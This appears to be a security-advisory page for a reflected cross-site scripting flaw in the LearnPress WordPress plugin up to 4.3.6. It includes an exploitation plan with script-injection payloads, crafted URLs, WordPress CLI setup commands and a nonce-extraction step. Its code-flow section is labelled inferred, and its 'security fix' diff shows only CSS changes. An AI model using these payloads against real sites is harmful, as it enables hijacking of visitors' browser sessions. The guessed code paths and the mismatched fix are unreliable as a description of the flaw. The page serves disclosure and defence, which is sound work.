LearnPress – WordPress LMS Plugin for Create and Sell Online Courses <= 4.3.6 - Reflected Cross-Site Scripting
Description
The LearnPress – WordPress LMS Plugin for Create and Sell Online Courses plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 4.3.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v4.3.7
Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2026-48865**, a reflected Cross-Site Scripting (XSS) vulnerability in the LearnPress plugin for WordPress. --- # Exploitation Research Plan: CVE-2026-48865 (LearnPress Reflected XSS) ## 1. Vulnerability Summary The LearnPress plugin (<= 4.3.6) fails t…
Show full research plan
This exploitation research plan targets CVE-2026-48865, a reflected Cross-Site Scripting (XSS) vulnerability in the LearnPress plugin for WordPress.
Exploitation Research Plan: CVE-2026-48865 (LearnPress Reflected XSS)
1. Vulnerability Summary
The LearnPress plugin (<= 4.3.6) fails to adequately sanitize and escape user-supplied input before reflecting it on the page. Specifically, parameters used in course searching, filtering, or pagination on the course archive page are echoed back into the HTML document. This allows an unauthenticated attacker to execute arbitrary JavaScript in the context of the victim's browser session.
2. Attack Vector Analysis
- Vulnerable Endpoint: Course Archive Page (typically
/courses/or?post_type=lp_course). - Vulnerable Parameter:
lp-s(Search parameter) ororderby(Sorting parameter). - Authentication: Unauthenticated (None).
- Preconditions: The plugin must be active. For the payload to be most effective, a course archive page should exist.
3. Code Flow (Inferred)
- Entry Point: A user navigates to a URL containing the
lp-sparameter (e.g.,example.com/courses/?lp-s=payload). - Processing: The plugin's core logic (likely in
inc/lp-template-functions.phporinc/class-lp-query.php) retrieves the search string from$_GET['lp-s']. - Reflection: The search term is passed to the archive template (e.g.,
templates/archive-course.php) to display a "Search results for: [term]" message. - Sink: The value is echoed directly or via a wrapper like
learn_press_get_template()without passing throughesc_html()oresc_attr(). Based on the provided CSS, the output likely resides within a.learn-press-messageor search box container.
4. Nonce Acquisition Strategy
Reflected XSS in a standard GET request typically does not require a nonce, as the vulnerability exists in the initial page render. However, if the reflection occurs via the LearnPress AJAX search (identified by lp-tom-select in the CSS), a nonce might be required.
Strategy for AJAX Nonce (if needed):
- Identify Trigger: The AJAX search is often triggered on pages containing the
[learn_press_recent_courses]shortcode or the default course archive. - Setup: Create a page with the shortcode:
wp post create --post_type=page --post_title="Courses" --post_status=publish --post_content='[learn_press_recent_courses]' - Extraction: Navigate to the page and extract the nonce from the
lpGlobalSettingsobject:- JS Variable:
window.lpGlobalSettings - Nonce Key:
nonce - Command:
browser_eval("window.lpGlobalSettings?.nonce")
- JS Variable:
5. Exploitation Strategy
We will test reflection in the search parameter on the main course archive.
- Endpoint:
/(WordPress Root) - Method:
GET - Payload:
"><script>alert(document.domain)</script> - Target URL:
http://localhost:8080/?post_type=lp_course&lp-s=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Step-by-Step Plan:
- Discovery: Find the course archive URL.
- Request: Use
http_requestto send the payload. - Analysis: Check the response body for the unescaped script tag.
- DOM Verification: Use
browser_navigateto confirm the script executes (triggering a dialog or modifying a DOM property).
6. Test Data Setup
- Install Plugin: Ensure LearnPress 4.3.6 is installed.
- Create Content: Create at least one course to ensure the archive page renders correctly.
wp post create --post_type=lp_course --post_title="Security Testing 101" --post_status=publish - Permalinks: Flush rewrite rules to ensure the
/courses/slug works if configured.wp rewrite structure '/%postname%/' --hard wp rewrite flush --hard
7. Expected Results
- The HTTP response should contain the literal string:
value=""><script>alert(document.domain)</script>"orResults for: "><script>.... - If testing via a browser, the
alertdialog should appear. - The script should not be neutralized as
<script>.
8. Verification Steps
After the exploit attempt, verify the reflection point in the page source:
# Using http_request and searching for the canary
# If the payload is <script>alert(1337)</script>
grep "alert(1337)" response_body.txt
9. Alternative Approaches
If lp-s is sanitized, try these alternative parameters:
orderby:?post_type=lp_course&orderby=price"><script>alert(1)</script>paged:?post_type=lp_course&paged=1<script>alert(1)</script>- AJAX Reflection: Use
http_requestto calladmin-ajax.phpwithaction=lp_course_searchand the payload in thetermorsparameter, checking for unescaped JSON output.
Summary
The LearnPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in versions up to and including 4.3.6. This is due to the plugin failing to sufficiently sanitize and escape user-supplied input in parameters such as 'lp-s' and 'orderby' before echoing them back on the course archive page, allowing attackers to execute arbitrary JavaScript in a victim's browser.
Security Fix
@@ -695,7 +695,7 @@ @font-face { font-family: "lp-icon"; - src: url("../../src/css/vendor/fonts/lp-icon/lp-icon.woff2?v=166") format("woff2"); + src: url("../../src/css/vendor/fonts/lp-icon/lp-icon.woff2?v=190") format("woff2"); font-weight: normal; font-style: normal; font-display: swap; @@ -1946,11 +1946,8 @@ margin-right: 5px; font-variant: normal; text-transform: none; - line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; - vertical-align: middle; - margin-top: -2px; } #wpfooter { @@ -4406,11 +4403,11 @@ background: #eee; } .post-type-lp_order #order_details .order-data-date .order-date { - width: 120px; + width: 130px; } .post-type-lp_order #order_details .order-data-date .order-hour, .post-type-lp_order #order_details .order-data-date .order-minute { - width: 50px; + width: 60px; } .post-type-lp_order #order_details .order-data-note { display: inline-block; @@ -7426,11 +7423,8 @@ margin-right: 5px; font-variant: normal; text-transform: none; - line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; - vertical-align: middle; - margin-top: -2px; }
Exploit Outline
An unauthenticated attacker can exploit this vulnerability by crafting a URL targeting the course archive page (typically located at /courses/ or reachable via ?post_type=lp_course). The attacker injects a malicious JavaScript payload into the 'lp-s' (search) or 'orderby' (sorting) GET parameters, such as: ?lp-s="><script>alert(document.domain)</script>. When a victim visits this URL, the search term is reflected back into the HTML without escaping, causing the browser to execute the arbitrary script in the context of the victim's session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.